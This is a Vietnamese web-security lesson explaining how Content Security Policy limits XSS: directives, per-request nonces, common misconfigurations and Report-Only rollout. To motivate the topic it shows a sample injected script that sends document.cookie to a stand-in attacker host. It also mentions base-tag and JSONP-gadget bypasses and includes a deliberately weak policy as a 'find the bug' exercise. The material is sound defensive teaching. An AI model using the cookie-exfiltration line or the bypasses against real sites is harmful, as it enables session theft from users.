Nền tảng An toàn Web & Cơ chế Trình duyệt
11/20
Bài 11 / 20~14 phútMô hình Bảo mật Trình duyệtMiễn phí… lượt xem

Content Security Policy (CSP): Phòng thủ chiều sâu Web

Thiết lập chính sách CSP bảo vệ ứng dụng: kiểm soát nguồn nạp script, style, hình ảnh, loại bỏ mã inline nguy hiểm và kỹ thuật triển khai với Nonce.

TL;DR: Dù lập trình viên có cẩn thận đến đâu, nguy cơ lọt lưới các lỗ hổng chèn mã Cross-Site Scripting (XSS) vẫn luôn hiện hữu trong các ứng dụng phức tạp. Content Security Policy (CSP) ra đời như một tầng phòng thủ chiều sâu (defense-in-depth), cho phép máy chủ tuyên bố một danh sách các nguồn tài nguyên đáng tin cậy mà trình duyệt được phép tải về và thực thi. Bằng cách cấm các đoạn script viết trực tiếp trong HTML (inline scripts), vô hiệu hóa hàm nguy hiểm như eval(), và giới hạn miền tải mã qua script-src, CSP giúp cô lập và dập tắt phần lớn các nỗ lực khai thác XSS ngay cả khi mã độc đã được nhúng thành công vào DOM.

1. Content Security Policy (CSP) giải quyết bài toán gì khi SOP thất bại?

Ở bài học 01-same-origin-policy-sop, chúng ta đã biết Same-Origin Policy (SOP) bảo vệ dữ liệu giữa các Origin khác nhau. Tiếp đó ở bài 02-cors-va-nhung-hieu-lam-tai-hai, ta đã thấy cách CORS mở đường cho việc chia sẻ tài nguyên hợp lệ. Tuy nhiên, nếu kẻ tấn công tìm được một kẽ hở trên chính website của bạn để chèn một đoạn mã độc:

HTML
<!-- Kẻ tấn công inject vào phần bình luận -->
<script>
  fetch('https://attacker-c2.com/steal?cookie=' + document.cookie);
</script>

Đối với trình duyệt, đoạn mã trên nằm ngay trong trang web hợp pháp của bạn, cùng Origin với ứng dụng. SOP hoàn toàn bất lực vì nó tin tưởng mã nguồn tải từ cùng Origin.

Content Security Policy (CSP) giải quyết trực diện điểm mù này của SOP bằng cách cho phép máy chủ thiết lập danh sách nguồn tin cậy ngay trong HTTP header:

  • Trình duyệt chỉ được tải file script từ những nguồn (origins) nào?
  • Trình duyệt có được phép thực thi các đoạn mã viết thẳng trong HTML (<script>...</script> hoặc onload=...) hay không?
  • Dữ liệu fetch hoặc XMLHttpRequest được phép bắn ra ngoài tới những server nào?

Các tầng phòng thủ chiều sâu của CSP

Hình 2.4: Các tầng phòng vệ độc lập của CSP ngăn chặn việc tải và thực thi mã độc.

2. Bóc tách các Directives cốt lõi của CSP

Một header CSP bao gồm nhiều chỉ thị (directives) được phân tách bằng dấu chấm phẩy (;). Dưới đây là các chỉ thị cơ bản nhất mà mọi kỹ sư bảo mật cần nắm vững:

HTTP
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com; style-src 'self' https://fonts.googleapis.com; object-src 'none';

1. default-src

Đóng vai trò là chính sách dự phòng (fallback). Nếu bạn không định nghĩa cụ thể một directive nào đó (như img-src hay font-src), trình duyệt sẽ tự động áp dụng giá trị của default-src. Đặt default-src 'self' là khởi đầu an toàn nhất.

2. script-src

Chỉ thị quan trọng nhất để chống XSS. Nó quy định các nguồn được phép nạp và chạy mã JavaScript:

  • 'self': Chỉ cho phép script nằm trên cùng Origin với trang hiện tại.
  • https://analytics.example.com: Cho phép tải script từ domain được chỉ định.
  • 'none': Cấm triệt để mọi mã JavaScript (thường dùng cho API hoặc trang tài liệu tĩnh).

[!IMPORTANT] Khi bật CSP, trình duyệt mặc định cấm toàn bộ inline scripts (như <script>alert(1)</script>) và cấm toàn bộ inline event handlers (như <button onclick="doSomething()">). Nếu bạn muốn chạy inline script, không bao giờ dùng 'unsafe-inline' trong môi trường production!

3. connect-src

Kiểm soát các đích đến mà trình duyệt được phép gửi request bất đồng bộ (thông qua fetch(), XMLHttpRequest, WebSocket, hoặc EventSource). Ngay cả khi kẻ tấn công bằng cách nào đó thực thi được JavaScript, nếu connect-src không cho phép domain của kẻ tấn công, trình duyệt sẽ chặn đứng request tẩu tán dữ liệu nhạy cảm ra ngoài!

4. object-src

Kiểm soát các plugin như Flash, Java Applet (<object>, <embed>). Trong các ứng dụng web hiện đại, directive này luôn phải được thiết lập là object-src 'none'.

Hãy thử kiểm tra phán đoán của bạn về cách trình duyệt đối chiếu header CSP:

Dự đoán & Phản xạ (Predict)

Một trang web cấu hình header: Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com; Giả sử hacker inject thành công đoạn mã HTML sau vào trang: <script src='https://malicious-hacker.com/payload.js'></script>. Trình duyệt sẽ hành xử thế nào?

3. Cơ chế Nonce và Hash: Thực thi script an toàn

Trong các ứng dụng thực tế (ví dụ Next.js, Nuxt, hay các framework SSR), việc cần một đoạn script inline khởi tạo state hoặc cấu hình giao diện là rất phổ biến. Làm thế nào để cho phép script này chạy mà không phải dùng cờ nguy hiểm 'unsafe-inline'?

Câu trả lời là Cryptographic Nonce (Number used once):

  1. Với mỗi HTTP request từ người dùng, server sinh một chuỗi ngẫu nhiên có độ dài mật mã (ví dụ Base64 độ dài 128-bit).
  2. Server trả header CSP có chứa giá trị nonce này:
    HTTP
    Content-Security-Policy: script-src 'nonce-d3VnYWJ1Z2E0NTY=';
    
  3. Server nhúng đúng giá trị nonce này vào thẻ <script> hợp pháp trong file HTML:
    HTML
    <script nonce="d3VnYWJ1Z2E0NTY=">
      // Đoạn mã hợp lệ do máy chủ ứng dụng sinh ra
      window.__INITIAL_STATE__ = { userId: "USR-1234" };
    </script>
    

Khi gặp thẻ script có thuộc tính nonce, trình duyệt so sánh giá trị này với giá trị trong header CSP. Nếu khớp, script được chạy. Kẻ tấn công inject mã sau đó sẽ không thể đoán được giá trị nonce ngẫu nhiên mới sinh cho request kế tiếp!

JavaScript
// Express.js middleware tao nonce ngau nhien cho moi request
import crypto from 'crypto';

app.use((req, res, next) => {
  // Generate cryptographically strong pseudo-random data
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.cspNonce = nonce;
  
  res.setHeader(
    'Content-Security-Policy',
    `default-src 'self'; script-src 'self' 'nonce-${nonce}'; object-src 'none';`
  );
  next();
});

4. Những kẽ hở thường gặp khi cấu hình CSP (Pitfalls)

Rất nhiều đội ngũ kỹ thuật bật CSP chỉ để "đối phó" với các checklist kiểm thử an ninh, dẫn đến những chính sách rỗng tuếch không có giá trị bảo vệ:

🐛 Tìm bug trong code này
// Cau hinh CSP trong middleware cua ung dung
app.use((req, res, next) => {
res.setHeader(
  'Content-Security-Policy',
  "default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval' https:; object-src *;"
);
next();
});

Các sai lầm phổ biến khác gồm:

  1. Dùng ký tự đại diện wildcard quá rộng (* hoặc https:): Cho phép nạp script từ bất kỳ máy chủ nào trên thế giới.
  2. Whitelist các CDN công cộng chứa endpoint JSONP: Ví dụ cho phép https://cdnjs.cloudflare.com hoặc https://*.google.com. Kẻ tấn công có thể lợi dụng các thư viện như AngularJS cũ hoặc endpoint JSONP trên Google để thực thi mã tự ý (Bypass via Gadgets).
  3. Quên directive base-uri: Kẻ tấn công có thể inject thẻ <base href="https://attacker.com/">, khiến mọi đường dẫn tương đối trong trang bị hướng sang máy chủ giả mạo.

5. Quy trình triển khai CSP: Bắt đầu từ Report-Only

Áp dụng CSP đột ngột trên một hệ thống đang chạy (legacy system) rất dễ làm sập các tính năng giao diện do vô tình chặn các script hoặc font của bên thứ ba. Quy trình triển khai an toàn bao gồm 3 bước tuần tự:

  1. Giai đoạn 1: Audit & Thiết kế chính sách: Rà soát toàn bộ các nguồn tài nguyên bên thứ ba (analytics, payment SDK, fonts, cdn).
  2. Giai đoạn 2: Giám sát vi phạm với Report-Only: Khai báo qua header Content-Security-Policy-Report-Only để thu thập telemetry vi phạm thực tế từ người dùng mà không làm gián đoạn hệ thống.
  3. Giai đoạn 3: Bật chế độ Enforce: Chuyển sang header Content-Security-Policy chính thức sau khi log vi phạm đã được xử lý triệt để.

Sử dụng header Content-Security-Policy-Report-Only

Trong chế độ này, trình duyệt không chặn bất kỳ hành vi nào, nhưng nếu có hành vi vi phạm chính sách đã khai báo, nó sẽ gửi một báo cáo JSON về endpoint report-uri hoặc report-to mà bạn cấu hình:

HTTP
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'nonce-xyz'; report-uri /api/csp-report-endpoint;

Payload báo cáo vi phạm do trình duyệt tự động gửi về có cấu trúc như sau:

JSON
{
  "csp-report": {
    "document-uri": "https://example.com/dashboard",
    "referrer": "",
    "violated-directive": "script-src 'self' 'nonce-xyz'",
    "effective-directive": "script-src",
    "original-policy": "default-src 'self'; script-src 'self' 'nonce-xyz'; report-uri /api/csp-report-endpoint;",
    "blocked-uri": "https://malicious-cdn.com/evil.js",
    "status-code": 200
  }
}

Bằng cách theo dõi các log báo cáo này trong 1-2 tuần, kỹ sư có thể nhận diện được các script hợp pháp nào bị sót và tinh chỉnh chính sách trước khi chuyển sang header Content-Security-Policy chính thức.

6. Tổng kết

Content Security Policy không thay thế cho việc kiểm tra và mã hóa dữ liệu đầu vào (Input Validation & Output Encoding), nhưng nó là chốt chặn cuối cùng bảo vệ hàng triệu người dùng khi mã độc lọt lưới.

Bài tiếp theo: 05-mini-challenge-giai-ma-chinh-sach-trinh-duyet

Tự kiểm tra
0/6 câu đã trả lời
  1. Q1
    Tại sao Same-Origin Policy (SOP) không thể bảo vệ ứng dụng khỏi lỗ hổng Cross-Site Scripting (XSS)?
  2. Q2
    Directive 'default-src' trong Content Security Policy (CSP) có vai trò gì?
  3. Q3
    Giá trị 'unsafe-inline' trong directive script-src dẫn đến rủi ro bảo mật nghiêm trọng nào?
  4. Q4
    Tại sao kỹ thuật sử dụng Nonce (Cryptographic Nonce) lại an toàn hơn việc cấu hình danh sách trắng (whitelist) các domain CDN lớn?
  5. Q5
    Sự khác biệt căn bản giữa Content-Security-Policy và Content-Security-Policy-Report-Only là gì?
  6. Q6
    Khi trang web cấu hình 'connect-src \'self\'', hành vi gửi request qua JavaScript nào sẽ bị trình duyệt chặn đứng?

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

Thực hành: Giải mã chính sách bảo mật trình duyệt đa miền